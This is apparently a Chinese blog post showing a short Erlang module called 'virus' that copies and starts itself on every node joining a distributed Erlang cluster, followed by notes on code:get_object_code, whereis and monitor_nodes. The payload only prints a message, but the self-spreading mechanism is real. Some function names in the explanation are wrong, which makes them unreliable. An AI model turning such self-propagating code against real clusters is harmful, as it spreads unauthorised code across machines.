A small module that jumps between connected node

-module(virus).
-export([start/0]).
-export([start/1]).
 
start()     -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).
 
spawn_process(Beam) ->
    case whereis(?MODULE) of
        undefined -> spawn(fun() -> virus(Beam) end);
        _Else -> ok
    end.
 
virus(Beam) ->
    register(?MODULE, self()),
    net_kernel:monitor_nodes(true),
    io:format(user, "You're infested!~n", []),
    %[infest(Node) || Node <- nodes()],
    virus_loop(Beam).
 
virus_loop(Beam) ->
    receive
        {nodeup, Node} ->
            infest(Node, Beam),
            io:format(user, "~p has joined!~n", [Node])
    end,
    virus_loop(Beam).
 
infest(Node, {Mod, Bin, File} = Beam) ->
    {module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
    rpc:call(Node, ?MODULE, start, [Beam]).

代码详解:

1)、code:get_object_code/1, code:load_binary/1

get_object_code/1 方法会查询代码路径来定位指定模块所在的位置,返回值是{Module,Binary,FileName}即{模块名,模块的二进制数据,模块的文件信息}.这个方法的执行后我们就获得了指定模块的元数据和二进制数据,后面就是通过code:load_library/3来加载新的模块了.执行完load_library方法就大功告成


2)、erlang:whereis/1

 有时候我们需要判断目标进程是否已经启动,如果没有启动才额外启动目标,否则skip。通常情况下我们,可以在进程表中搜索目标进程即可。在elrang中,可以借助于 erlang:whereis 函数。

whereis(RegName) -> pid() | port() | undefined
Returns the pid or port identifier with the registered name RegName. Returns undefined if the name is not registered.


3)、net_kernel:monitor_nodes/1

http://www.cnblogs.com/me-sa/archive/2011/07/12/erlang0005.html




©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页